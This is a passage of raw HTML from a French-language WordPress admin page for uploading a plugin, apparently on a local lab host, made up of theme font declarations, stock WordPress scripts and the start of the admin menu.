@font-face{font-family:"Fira Sans";font-style:normal;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Regular.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Medium.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-MediumItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-SemiBold.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-SemiBoldItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Bold.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-BoldItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraBold.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraBoldItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Black.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-BlackItalic.woff2') format('woff2');}
@font-face{font-family:Beiruti;font-style:normal;font-weight:200 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/beiruti/Beiruti-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLight.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Light.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-LightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Regular.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-RegularItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Medium.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-MediumItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Bold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Black.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BlackItalic.woff2') format('woff2');}
@font-face{font-family:Vollkorn;font-style:italic;font-weight:400 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/vollkorn/Vollkorn-Italic-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Vollkorn;font-style:normal;font-weight:400 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/vollkorn/Vollkorn-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:"Fira Code";font-style:normal;font-weight:300 700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-code/FiraCode-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Platypi;font-style:normal;font-weight:300 800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/platypi/Platypi-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Platypi;font-style:italic;font-weight:300 800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/platypi/Platypi-Italic-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:"Ysabeau Office";font-style:normal;font-weight:100 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/ysabeau-office/YsabeauOffice-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:"Ysabeau Office";font-style:italic;font-weight:100 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/ysabeau-office/YsabeauOffice-Italic-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:"Roboto Slab";font-style:normal;font-weight:100 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/roboto-slab/RobotoSlab-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Manrope;font-style:normal;font-weight:200 800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/manrope/Manrope-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLight.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Light.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-LightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Regular.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-RegularItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Medium.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-MediumItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Bold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Black.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BlackItalic.woff2') format('woff2');}
@font-face{font-family:"Ysabeau Office";font-style:normal;font-weight:100 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/ysabeau-office/YsabeauOffice-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:"Ysabeau Office";font-style:italic;font-weight:100 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/ysabeau-office/YsabeauOffice-Italic-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Platypi;font-style:normal;font-weight:300 800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/platypi/Platypi-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Platypi;font-style:italic;font-weight:300 800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/platypi/Platypi-Italic-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLight.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Light.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-LightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Regular.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-RegularItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Medium.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-MediumItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Bold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Black.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BlackItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLight.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Light.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-LightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Regular.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-RegularItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Medium.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-MediumItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Bold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Black.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BlackItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:100;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Thin.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:100;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ThinItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraLight.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraLightItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Light.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-LightItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Italic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Regular.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Medium.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-MediumItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-SemiBold.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-SemiBoldItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Bold.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-BoldItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraBold.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraBoldItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Black.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-BlackItalic.woff2') format('woff2');}
</style>
<script>
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.1.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.1.0\/svg\/","svgExt":".svg","source":{"concatemoji":"http:\/\/lab:5555\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.8.1"}};
/*! This file is auto-generated */
!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(function(e,t){return e===r[t]})}function u(e,t,n){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\uddfa\ud83c\uddf3","\ud83c\uddfa\u200b\ud83c\uddf3")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!n(e,"\ud83d\udc26\u200d\ud83d\udd25","\ud83d\udc26\u200b\ud83d\udd25")}return!1}function f(e,t,n){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"}),a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=function(e){c(n=e.data),a.terminate(),t(n)})}catch(e){}c(n=f(s,u,p))}t(n)}).then(function(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything||(n.readyCallback(),(e=n.source||{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);
</script>
<script>
/* <![CDATA[ */
var userSettings = {"url":"\/","uid":"3","time":"1748446367","secure":""};/* ]]> */
</script>
<script src='http://lab:5555/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=jquery-core,jquery-migrate,utils&ver=6.8.1'></script>
<script type="text/javascript">var _wpColorScheme = {"icons":{"base":"#a7aaad","focus":"#72aee6","current":"#fff"}};</script>
<link id="wp-admin-canonical" rel="canonical" href="http://lab:5555/wp-admin/plugin-install.php?tab=upload" />
<script>
if ( window.history.replaceState ) {
window.history.replaceState( null, null, document.getElementById( 'wp-admin-canonical' ).href + window.location.hash );
}
</script>
<meta name="viewport" content="width=device-width,initial-scale=1.0"></head>
<body class="wp-admin wp-core-ui no-js plugin-install-php auto-fold admin-bar branch-6-8 version-6-8-1 admin-color-fresh locale-fr-fr no-customize-support svg wp-theme-twentytwentyfive">
<script type="text/javascript">
document.body.className = document.body.className.replace('no-js','js');
</script>
<script>
(function() {
var request, b = document.body, c = 'className', cs = 'customize-support', rcs = new RegExp('(^|\\s+)(no-)?'+cs+'(\\s+|$)');
request = true;
b[c] = b[c].replace( rcs, ' ' );
// The customizer requires postMessage and CORS (if the site is cross domain).
b[c] += ( window.postMessage && request ? ' ' : ' no-' ) + cs;
}());
</script>
<div id="wpwrap">
<div id="adminmenumain" role="navigation" aria-label="Menu principal">
<a href="#wpbody-content" class="screen-reader-shortcut">Aller au contenu principal</a>
<a href="#wp-toolbar" class="screen-reader-shortcut">Aller à la barre d’outils</a>
<div id="adminmenuback"></div>
<div id="adminmenuwrap">
<ul id="adminmenu">
<li class="wp-first-item wp-has-submenu wp-not-current-submenu menu-top menu-top-first menu-icon-dashboard menu-top-last" id="menu-dashboard">
<a href='index.php' class="wp-first-item wp-has-submenu wp-not-current-submenu menu-top menu-top-first menu-icon-dashboard menu-top-last" data-ariahaspopup><div class='wp-menu-image dashicons-before dashicons-dashboard' aria-hidden='true'><br /></div><div class='wp-menu-name'>Tableau de bord</div></a>
<ul class='wp-submenu wp-submenu-wrap'><li class='wp-submenu-head' aria-hidden='true'>Tableau de bord</li><li class="wp-first-item"><a href='index.php' class="wp-first-item">Accueil</a></li><li><a href='update-core.php'>Mises à jour <span class="update-plugins count-0"><span class="update-count">0</span></span></a></li></ul></li>
<li class="wp-not-current-submenu wp-menu-separator" aria-hidden="true"><div class="separator"></div></li>
<li class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-post open-if-no-js menu-top-first" id="menu-posts">
<a href='edit.php' class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-post open-if-no-js menu-top-first" data-ariahaspopup><div class='wp-menu-image dashicons-before dashicons-admin-post' aria-hidden='true'><br /></div><div class='wp-menu-name'>Articles</div></a>
<ul class='wp-submenu wp-submenu-wrap'><li class='wp-submenu-head' aria-hidden='true'>Articles</li><li class="wp-first-item"><a href='edit.php' class="wp-first-item">Tous les articles</a></li><li><a href='post-new.php'>Ajouter un article</a></li><li><a href='edit-tags.php?taxonomy=category'>Catégories</a></li><li><a href='edit-tags.php?taxonomy=post_tag'>Étiquettes</a></li></ul></li>
<li class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-media" id="menu-media">
<a href='upload.php' class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-media" data-ariahaspopup><div class='wp-menu-image dashicons-before dashicons-admin-media' aria-hidden='true'><br /></div><div class='wp-menu-name'>Médias</div></a>
<ul class='wp-submenu wp-submenu-wrap'><li class='wp-submenu-head' aria-hidden='true'>Médias</li><li class="wp-first-item"><a href='upload.php' class="wp-first-item">Médiathèque</a></li><li><a href='media-new.php'>Ajouter un fichier média</a></li></ul></li>
<li class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-page" id="menu-pages">
<a href='edit.php?post_type=page' class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-page" data-ariahaspopup><div class='wp-menu-image dashicons-before dashicons-admin-page' aria-hidden='true'><br /></div><div class='wp-menu-name'>Pages</div></a>
<ul class='wp-submenu wp-submenu-wrap'><li class='wp-submenu-head' aria-hidden='true'>Pages</li><li class="wp-first-item"><a href='edit.php?post_type=page' class="wp-first-item">Toutes les pages</a></li><li><a href='post-new.php?post_type=page'>Ajouter une page</a></li></ul></li>
<li class="wp-not-current-submenu menu-top menu-icon-comments" id="menu-comments">
